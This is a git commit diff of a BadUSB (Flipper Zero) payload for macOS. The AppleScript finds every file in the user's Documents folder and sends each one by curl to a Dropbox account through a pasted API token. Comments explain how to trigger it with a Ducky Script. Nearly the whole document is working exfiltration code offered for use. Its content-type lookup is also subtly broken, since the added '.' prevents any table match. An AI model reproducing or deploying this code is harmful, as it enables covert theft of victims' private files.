Testing
This commit is contained in:
@@ -4,9 +4,9 @@ REM Author: Narsty
|
||||
REM Title: Documents Data Upload MacOs
|
||||
REM Version 1.0 MacOs
|
||||
|
||||
REM Copy and paste this osascript/code (lines 12-31) into the Script editor App on your MacOs
|
||||
REM Copy and paste this osascript/code (lines 12-59) into the Script editor App on your MacOs
|
||||
REM Replace the "Your API Access token Here" placeholder with your actual Dropbox API token. line 13
|
||||
REM Save this script below as docapi.scpt file (Use Script Editor) to your desktop.
|
||||
REM Save this script below as a docapi.scpt file (Use Script Editor) to your desktop.
|
||||
|
||||
|
||||
set documentsPath to POSIX path of (path to documents folder)
|
||||
@@ -14,27 +14,56 @@ set dropboxAPIPath to "Your API Access token Here"
|
||||
set apiEndpointURL to "https://content.dropboxapi.com/2/files/upload"
|
||||
|
||||
-- Get a list of files in the Documents folder
|
||||
set fileNames to paragraphs of (do shell script "find " & quoted form of documentsPath & " -type f -maxdepth 1 -exec basename {} \\;")
|
||||
set fileNames to paragraphs of (do shell script "find " & quoted form of documentsPath & " -type f -maxdepth 1 -exec echo {} \\;")
|
||||
|
||||
-- Iterate over each file and upload it individually
|
||||
repeat with fileName in fileNames
|
||||
set filePath to documentsPath & fileName
|
||||
-- Construct the cURL command to upload the file
|
||||
set uploadScript to "curl -X POST " & quoted form of apiEndpointURL & " " & ¬
|
||||
"-H \"Authorization: Bearer " & dropboxAPIPath & "\" " & ¬
|
||||
"-H \"Dropbox-API-Arg: {\\\"path\\\": \\\"/" & fileName & "\\\", \\\"mode\\\": \\\"add\\\", \\\"autorename\\\": true, \\\"mute\\\": false}\" " & ¬
|
||||
"-H \"Content-Type: text/plain; charset=dropbox-cors-hack\" " & ¬
|
||||
"-T " & quoted form of (POSIX path of filePath)
|
||||
|
||||
-- Run the cURL command
|
||||
do shell script uploadScript
|
||||
set filePath to quoted form of fileName
|
||||
set fileExtension to (do shell script "echo " & filePath & " | awk -F . '{print $NF}'")
|
||||
if fileExtension is not "" or fileName ends with "." then
|
||||
set contentType to getContentType(fileExtension)
|
||||
|
||||
set uploadScript to "curl -X POST " & quoted form of apiEndpointURL & " " & ¬
|
||||
"-H \"Authorization: Bearer " & dropboxAPIPath & "\" " & ¬
|
||||
"-H \"Dropbox-API-Arg: {\\\"path\\\": \\\"/" & (do shell script "basename " & filePath) & "\\\", \\\"mode\\\": \\\"add\\\", \\\"autorename\\\": true, \\\"mute\\\": false}\" " & ¬
|
||||
"-H \"Content-Type: " & contentType & "\" " & ¬
|
||||
"--data-binary @" & filePath
|
||||
|
||||
do shell script uploadScript
|
||||
end if
|
||||
end repeat
|
||||
|
||||
on getContentType(fileExtension)
|
||||
set fileExtension to "." & fileExtension
|
||||
set contentTypes to {¬
|
||||
{"ai", "application/postscript"}, ¬
|
||||
{"doc", "application/msword"}, ¬
|
||||
{"docx", "application/vnd.openxmlformats-officedocument.wordprocessingml.document"}, ¬
|
||||
{"gif", "image/gif"}, ¬
|
||||
{"jpeg", "image/jpeg"}, ¬
|
||||
{"jpg", "image/jpeg"}, ¬
|
||||
{"pdf", "application/pdf"}, ¬
|
||||
{"png", "image/png"}, ¬
|
||||
{"ppt", "application/vnd.ms-powerpoint"}, ¬
|
||||
{"pptx", "application/vnd.openxmlformats-officedocument.presentationml.presentation"}, ¬
|
||||
{"txt", "text/plain"}, ¬
|
||||
{"xls", "application/vnd.ms-excel"}, ¬
|
||||
{"xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"}, ¬
|
||||
{"zip", "application/zip"}}
|
||||
|
||||
repeat with itemExtension in contentTypes
|
||||
if itemExtension's first item is fileExtension then return itemExtension's second item
|
||||
end repeat
|
||||
|
||||
return "application/octet-stream" -- Default content type if extension is not matched
|
||||
end getContentType
|
||||
|
||||
|
||||
|
||||
|
||||
REM Final step is to save the below Ducky Script as a .txt file lines 41-54 (main Read.me has step by step directions)
|
||||
|
||||
|
||||
REM Final step is to save the below Ducky Script as a .txt file lines 70-83 (main Read.me has step by step directions)
|
||||
REM and put the .txt file on your BADUSB flipper zero APP to execute the osascript through the terminal.
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user